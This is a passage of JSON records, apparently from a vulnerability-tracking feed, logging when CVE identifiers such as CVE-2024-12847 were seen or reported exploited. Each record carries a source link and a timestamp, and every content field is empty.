"2026-05-21T21:32:22.978646Z"}, {"uuid": "652d21d2-89a0-4168-b858-3368ef480e5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://bsky.app/profile/cybersecurity.poliverso.org.ap.brid.gy/post/3mmgqnd2vlv62", "content": "", "creation_timestamp": "2026-05-22T10:40:02.317047Z"}, {"uuid": "76fd2acf-dd24-473e-b82c-7e35ff5b3cee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-896a-1032-57cb-57c549377543", "content": "", "creation_timestamp": "2026-05-22T10:40:01.122561Z"}, {"uuid": "aef5dbbf-df85-4d0d-afd9-622fd3ee2294", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://bsky.app/profile/jbhall56.bsky.social/post/3mmgt426wtc27", "content": "", "creation_timestamp": "2026-05-22T11:24:14.770509Z"}, {"uuid": "6257f441-baf8-4317-a257-168583b950fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://infosec.exchange/users/jbhall56/statuses/116617971811232706", "content": "", "creation_timestamp": "2026-05-22T11:23:53.314613Z"}, {"uuid": "2abf4df6-cc79-4829-9abf-aaae8fb51e15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://bsky.app/profile/diesec.bsky.social/post/3mmod5w6fya2d", "content": "", "creation_timestamp": "2026-05-25T11:00:03.784403Z"}, {"uuid": "1e147309-d395-41b0-b54e-15db494294f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12366", "type": "seen", "source": "https://gist.github.com/Sagar2366/6b01a07e54bbccfeb747b6ee441b17f4", "content": "", "creation_timestamp": "2026-05-29T18:31:33.000000Z"}, {"uuid": "321f8296-1365-4a0c-ac17-e41842de6917", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://gist.github.com/SamChawla/c8bcbdda8b70e6e1a44bd777f5a4cfae", "content": "", "creation_timestamp": "2026-05-30T07:39:07.000000Z"}, {"uuid": "689d3c5f-5aaa-43c5-a1c6-7aded976b983", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12254", "type": "seen", "source": "https://gist.github.com/xinhongwang138-hue/6b83f89fed135d1aad9c8de5c574e471", "content": "", "creation_timestamp": "2026-06-05T08:53:16.000000Z"}, {"uuid": "a6b6d638-ef85-46d1-a329-3480bf423414", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/e7759270-c4f2-4aa0-a716-96c00d40f0a0", "content": "", "creation_timestamp": "2026-06-08T06:22:26.825140Z"}, {"uuid": "df73a8a8-f291-48dd-91e1-7f71edf0ee51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://gist.github.com/sruthi-parthasarathi-ai/f233e53a928e386fffc3053e894ba089", "content": "", "creation_timestamp": "2026-06-09T19:20:47.000000Z"}, {"uuid": "28085888-f04d-4bc9-91b9-e4bb3a90e4ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12905", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mo3sbe73cs2x", "content": "", "creation_timestamp": "2026-06-12T13:00:12.783586Z"}, {"uuid": "a264d72b-0bc2-4dc5-b3df-151451e88804", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://gist.github.com/riskiidice/d7687b881b245df5bc96147fc1e6b01c", "content": "", "creation_timestamp": "2026-06-13T10:28:11.000000Z"}, {"uuid": "8c57cb9c-c5e7-4b61-b879-0dceecb22ca0", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/16fa1d79-ccc7-483c-b481-4fde17bd26d3", "content": "", "creation_timestamp": "2026-06-19T12:42:42.681304Z"}, {"uuid": "220f1dd2-a4f7-4c3a-8145-0659b343f7ec", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/dbb2c6fc-d597-45d2-9b1f-a4a094220753", "content": "", "creation_timestamp": "2026-06-23T11:11:39.439809Z"}, {"uuid": "e5d3e70f-9b0a-4ece-aad5-0bc7d62fe777", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/ef45d215-1abf-43be-89ed-90ae9b7fc47f", "content": "", "creation_timestamp": "2026-06-23T11:12:52.286001Z"}, {"uuid": "24e4bfb0-5f4b-4267-beb8-23c91a43193d", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12686", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/31289c4d-757c-4108-8e10-4e62465990d0", "content": "", "creation_timestamp": "2026-06-23T11:14:31.767941Z"}, {"uuid": "fc9113fe-6e4a-44c3-9373-e0e5daace455", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/c9b82b38-7ed1-492e-b2e7-82830a4db305", "content": "", "creation_timestamp": "2026-06-23T11:14:30.136931Z"}, {"uuid": "a55bdf72-5b19-40e0-8dc5-f61c5ba6e7f2", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/9b6d5d58-edfa-4701-a439-749cc90b6818", "content": "", "creation_timestamp": "2026-06-23T11:14:31.372118Z"}, {"uuid": "6d8b8f4c-f8d2-4f7f-ba78-57f6dda70649", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-24)", "content": "", "creation_timestamp": "2026-06-25T10:15:06.745702Z"}, {"uuid": "ad4f35c0-e233-43b2-94c3-0c3ca3941f8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-24)", "content": "", "creation_timestamp": "2026-06-25T10:00:04.360286Z"}, {"uuid": "0771360f-1ac5-4cc2-a710-37979d06ca0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-25)", "content": "", "creation_timestamp": "2026-06-26T10:00:03.815933Z"}, {"uuid": "e609201c-8b19-4cad-bec6-f3aebd239d68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-25)", "content": "", "creation_timestamp": "2026-06-26T10:15:04.855481Z"}, {"uuid": "75144fe0-6164-4edf-864c-17afa91f4b2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-26)", "content": "", "creation_timestamp": "2026-06-27T10:15:04.441733Z"}, {"uuid": "435323ef-7d9a-47fc-9d3f-62c9e86a3ce3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-26)", "content": "", "creation_timestamp": "2026-06-27T10:00:03.351173Z"}, {"uuid": "fef358b7-f444-447e-ad3d-6677f5ab4e67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-27)", "content": "", "creation_timestamp": "2026-06-28T10:15:04.841972Z"}, {"uuid": "d245a256-d2ac-43c7-8ab6-763eea5e0f05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-27)", "content": "", "creation_timestamp": "2026-06-28T10:00:03.693519Z"}, {"uuid": "d90db155-c7f3-46a3-bdec-b772fd387b64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-28)", "content": "", "creation_timestamp": "2026-06-29T10:15:03.949280Z"}, {"uuid": "7c5f6ad6-bda5-405f-a186-f7ef4290600a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-28)", "content": "", "creation_timestamp": "2026-06-29T10:00:03.278570Z"}, {"uuid": "14ccf179-3f3e-42fc-8b3b-96b7d4dc7525", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mphliakxtv27", "content": "", "creation_timestamp": "2026-06-29T22:55:56.024955Z"}, {"uuid": "0ba6d0f7-62bd-491a-a9b4-1156e11fdbb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mphldrn5we22", "content": "", "creation_timestamp": "2026-06-29T22:53:26.310906Z"}, {"uuid": "a1c3cbb8-1d9e-459b-be52-ed8be240e973", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-29)", "content": "", "creation_timestamp": "2026-06-30T10:15:05.588679Z"}, {"uuid": "4eb375e1-7a6c-4b26-9126-9d20901e162b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-29)", "content": "", "creation_timestamp": "2026-06-30T10:00:03.788460Z"}, {"uuid": "5c1bdd32-5c6e-4fe6-9745-3f973e015494", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/4acfa73f-b8ed-43a3-8890-33b359ab46e1", "content": "", "creation_timestamp": "2026-07-01T05:53:50.132161Z"}, {"uuid": "12e364be-99f3-4c00-8c2f-56cbbe5adce1", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/b1182979-fff6-460f-ad2d-353855a30379", "content": "", "creation_timestamp": "2026-07-01T05:54:55.713785Z"}, {"uuid": "c2460ce2-0599-482e-a175-ea3cd20d9502", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/118b5a44-32e0-4e03-ad1c-fdcf706198e5", "content": "", "creation_timestamp": "2026-07-01T07:16:52.809771Z"}, {"uuid": "51ce34e4-047d-48ca-9008-8fa8984b9e3a", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/f5e61328-728d-4014-81d8-ceafe1151fb3", "content": "", "creation_timestamp": "2026-07-01T07:17:55.850438Z"}, {"uuid": "680f8997-49de-4ada-9d01-1c81c49ab395", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12209", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/b8fcbffd-8232-4280-ac08-910ec24321f3", "content": "", "creation_timestamp": "2026-07-01T07:17:57.791585Z"}, {"uuid": "07dd34e3-e0b5-4fe6-b5e0-eebb7042c66e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-30)", "content": "", "creation_timestamp": "2026-07-01T10:15:06.196396Z"}, {"uuid": "11b23e62-7ae2-4d83-b060-ee24738e7166", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-30)", "content": "", "creation_timestamp": "2026-07-01T10:00:02.733164Z"}, {"uuid": "7d1554df-1eca-4364-b963-a7ff2e98e799", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-01)", "content": "", "creation_timestamp": "2026-07-02T10:15:03.890679Z"}, {"uuid": "fba3577c-cf8a-4c45-b835-212cdb9d2548", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-01)", "content": "", "creation_timestamp": "2026-07-02T10:00:03.548295Z"}, {"uuid": "59d35cf4-3238-4dc2-a43e-4c54638d8ed9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://gist.github.com/tu-trinh-scale/918bceebe531508deebfff088f821f4f", "content": "", "creation_timestamp": "2026-07-03T09:17:40.611658Z"}, {"uuid": "d9dcc8ab-f9d9-45bd-96a5-d5d14eb30164", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://gist.github.com/tu-trinh-scale/a4a75eafbe797265e95a6dce950d0b12", "content": "", "creation_timestamp": "2026-07-03T09:17:39.699611Z"}, {"uuid": "d52d8413-b80b-4f0a-a524-4987bb90c4a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-02)", "content": "", "creation_timestamp": "2026-07-03T10:15:03.989525Z"}, {"uuid": "ce2f1458-af01-4230-941d-723f19cb3404", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://gist.github.com/tu-trinh-scale/62ba0d37bfbe0b5b3c921c33ac7198cc", "content": "", "creation_timestamp": "2026-07-03T10:08:46.284762Z"}, {"uuid": "419a5256-38ac-40e4-ad0f-773e569c519a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://gist.github.com/tu-trinh-scale/180492f11c2829c61a2e6a245908c895", "content": "", "creation_timestamp": "2026-07-03T10:08:45.566950Z"}, {"uuid": "534f3c91-faaa-451a-ad9d-1973f70c2db4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-02)", "content": "", "creation_timestamp": "2026-07-03T10:00:03.565943Z"}, {"uuid": "18784bf9-e09f-48e7-b043-a24d6b401464", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://gist.github.com/tu-trinh-scale/a5f0ef646141d1377a60896f1cac3b24", "content": "", "creation_timestamp": "2026-07-03T19:59:58.112682Z"}, {"uuid": "c8f54e1d-96b1-4348-b953-baa69a9f54d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://gist.github.com/tu-trinh-scale/722400b4fc433ae9f66cca655969ef27", "content": "", "creation_timestamp": "2026-07-03T22:03:50.787669Z"}, {"uuid": "c49e2d78-9ec7-4470-80d1-b2ed2cf5861a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://gist.github.com/tu-trinh-scale/5a2ed5ab73b623b641182fdf401a3236", "content": "", "creation_timestamp": "2026-07-03T23:06:30.888418Z"}, {"uuid": "d2a5d576-dd50-414f-b03d-2e158387d183", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://gist.github.com/tu-trinh-scale/5a2ed5ab73b623b641182fdf401a3236", "content": "", "creation_timestamp": "2026-07-04T00:01:07.601426Z"}, {"uuid": "d6206dcd-0529-417b-bfb7-77baf7267fea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-03)", "content": "", "creation_timestamp": "2026-07-04T10:15:04.511582Z"}, {"uuid": "b5371466-7514-46b6-9187-7c40d5387437", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-03)", "content": "", "creation_timestamp": "2026-07-04T10:00:02.757410Z"}, {"uuid": "5c936605-1823-45a7-847f-969d39ffcaa3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpt3543kby2g", "content": "", "creation_timestamp": "2026-07-04T12:35:20.346031Z"}, {"uuid": "70b91d4d-f7f7-48cb-a5cc-cfdf9249bb78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-1248", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mpucatwqst2o", "content": "", "creation_timestamp": "2026-07-05T00:15:20.813316Z"}, {"uuid": "39e028a7-932f-4aac-8dba-f92a8470cc00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-04)", "content": "", "creation_timestamp": "2026-07-05T10:15:06.990482Z"}, {"uuid": "58d4a831-45b6-45f6-b77f-08ad5d8d2b2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-04)", "content": "", "creation_timestamp": "2026-07-05T10:00:04.175626Z"}, {"uuid": "12de4bab-4036-475b-88ba-11ffc55ef438", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-05)", "content": "", "creation_timestamp": "2026-07-06T10:15:03.728109Z"}, {"uuid": "f5980c2b-c6aa-4889-9d8b-de20e1a1db85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-06)", "content": "", "creation_timestamp": "2026-07-07T10:15:05.996681Z"}, {"uuid": "01a09a26-e5ae-42b6-b87b-c2f7d9d32629", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://gist.github.com/dongtinoxb/aa60b01bf4a9dc8591166c09462baae9", "content": "", "creation_timestamp": "2026-07-07T10:54:30.480701Z"}, {"uuid": "11b16058-a55b-4696-b146-36e9bdfe0459", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-07)", "content": "", "creation_timestamp": "2026-07-08T10:15:03.983470Z"}, {"uuid": "d2baa833-520c-4ec3-9991-336c0e82ae88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-08)", "content": "", "creation_timestamp": "2026-07-09T10:15:04.058644Z"}, {"uuid": "7323ea4d-cd1e-4e92-bd1c-64eb5e8a52e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://t.me/brutsecurity/1452", "content": "", "creation_timestamp": "2026-07-10T01:00:08.787805Z"}, {"uuid": "b9a40113-d4fe-4fe4-8aa0-265e4a4bde0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-09)", "content": "", "creation_timestamp": "2026-07-10T10:15:03.797317Z"}, {"uuid": "e1dc903f-33eb-41c8-9ee1-4c4b75f74a4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-09)", "content": "", "creation_timestamp": "2026-07-10T10:00:03.691302Z"}, {"uuid": "76aca5ab-d3b4-45f2-acc9-67dfbddb0579", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-10)", "content": "", "creation_timestamp": "2026-07-11T10:00:03.006074Z"}, {"uuid": "4d434f8a-60db-4c6e-8d5f-3dd3455dfdd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-10)", "content": "", "creation_timestamp": "2026-07-11T10:15:04.724303Z"}, {"uuid": "06806d5b-5d75-45ba-ba50-f55b6b05a551", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12356", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/1538", "content": "", "creation_timestamp": "2026-07-11T14:00:03.634299Z"}, {"uuid": "89d2bef3-0542-49ae-99ee-565f8ea4e0e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://t.me/brutsecurity/1452", "content": "", "creation_timestamp": "2026-07-11T15:00:05.489285Z"}, {"uuid": "e23a442a-94ee-452b-848f-e47cb0b67571", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12365", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/1306", "content": "", "creation_timestamp": "2026-07-11T15:00:04.860452Z"}, {"uuid": "5bcfb033-8598-444b-8747-c883c720ff6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12828", "type": "seen", "source": "https://t.me/brutsecurity/1264", "content": "", "creation_timestamp": "2026-07-11T15:00:04.576037Z"}, {"uuid": "8098a7b5-6e2a-4239-b65b-91c8cd1198f8", "vulnerability_lookup_origin": 